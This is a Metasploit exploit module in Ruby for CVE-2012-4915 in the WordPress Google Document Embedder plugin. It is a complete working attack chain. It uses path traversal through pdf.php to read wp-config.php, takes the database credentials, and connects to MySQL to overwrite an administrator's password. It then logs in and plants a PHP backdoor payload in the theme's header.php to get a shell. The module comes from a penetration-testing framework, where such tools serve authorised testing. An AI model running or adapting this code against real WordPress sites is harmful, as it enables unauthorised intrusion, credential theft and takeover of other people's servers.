##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rbmysql'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',
'Description' => %q{
This module exploits an arbitrary file disclosure flaw in the WordPress
blogging software plugin known as Google Document Embedder. The vulnerability allows for
database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
server is exposed on a accessible IP and Wordpress has filesystem write access.
Please note: The admin password may get changed if the exploit does not run to the end.
},
'Author' =>
[
'Charlie Eriksen',
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-4915'],
['OSVDB', '88891'],
['URL', 'http://secunia.com/advisories/50832'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 03 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),
OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/'])
], self.class)
end
def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
plugins_uri = String.new(uri)
plugins_uri << datastore['PLUGINSPATH']
plugins_uri << '/' if plugins_uri[-1,1] != '/'
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",
})
if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
plugins_uri = String.new(uri)
plugins_uri << datastore['PLUGINSPATH']
plugins_uri << '/' if plugins_uri[-1,1] != '/'
admin_uri = String.new(uri)
admin_uri << datastore['ADMINPATH']
admin_uri << '/' if plugins_uri[-1,1] != '/'
themes_uri = String.new(uri)
themes_uri << datastore['THEMESPATH']
themes_uri << '/' if plugins_uri[-1,1] != '/'
print_status('Fetching wp-config.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",
'vars_get' =>
{
'fn' => "#{rand_text_alphanumeric(4)}.pdf",
'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
}
})
if res and res.body =~ /allow_url_fopen/
fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')
elsif res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end
config = parse_wp_config(res.body)
if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }
fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly")
end
begin
@mysql_handle = ::RbMysql.connect({
:host => config['DB_HOST'],
:port => config['DB_PORT'],
:read_timeout => 300,
:write_timeout => 300,
:socket => nil,
:user => config['DB_USER'],
:password => config['DB_PASSWORD'],
:db => config['DB_NAME']
})
rescue Errno::ECONNREFUSED,
RbMysql::ClientError,
Errno::ETIMEDOUT,
RbMysql::AccessDeniedError,
RbMysql::HostNotPrivileged
fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server')
end
res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U
INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")
if res.nil? or res.size <= 0
fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found')
end
user = res.first
new_password = rand_text_alphanumeric(8)
@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")
print_warning("Admin password changed to: #{new_password}")
admin_cookie = get_wp_cookie(uri, user[0], new_password)
theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)
print_warning("Editing theme #{theme}")
set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)
print_status("Calling backdoor")
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{themes_uri}#{theme}/header.php",
})
if res and res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end
set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)
@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")
print_status("Shell should have been acquired. Disabled backdoor")
end
def parse_wp_config(body)
p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php")
print_status("wp-config.php saved in: #{p}")
print_status("Parsing config file")
values = {}
body.each_line do |line|
if line =~ /define/
key_pair = line.scan(/('|")([^'"]*)('|")/)
if key_pair.length == 2
values[key_pair[0][1]] = key_pair[1][1]
end
elsif line =~ /table_prefix/
table_prefix = line.scan(/('|")([^'"]*)('|")/)
values['DB_PREFIX'] = table_prefix[0][1]
end
end
#Extract the port from DB_HOST and normalize DB_HOST
values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306
if values['DB_HOST'] =~ /(localhost|127.0.0.1)/
print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")
values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])
end
return values
end
def get_wp_cookie(uri, username, password)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}wp-login.php",
'cookie' => 'wordpress_test_cookie=WP+Cookie+check',
'vars_post' =>
{
'log' => username,
'pwd' => password,
'wp-submit' => 'Log+In',
'testcookie' => '1',
},
})
if res and res.code == 200
fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed')
elsif res and res.code != 302
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end
admin_cookie = ''
(res.headers['Set-Cookie'] || '').split(',').each do |cookie|
admin_cookie << cookie.split(';')[0]
admin_cookie << ';'
end
if admin_cookie.empty?
fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty')
end
return admin_cookie
end
def get_wp_theme(admin_uri, admin_cookie)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{admin_uri}theme-editor.php?file=header.php",
'cookie' => admin_cookie,
})
if res and res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0
fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access')
end
nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s
old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))
theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s
return [theme, nonce, old_content]
end
def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{admin_uri}theme-editor.php?",
'cookie' => admin_cookie,
'vars_post' =>
{
'_wpnonce' => nonce,
'theme' => theme,
'newcontent' => new_content,
'action' => 'update',
'file' => 'header.php'
},
})
if res and res.code != 302
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end
end
end
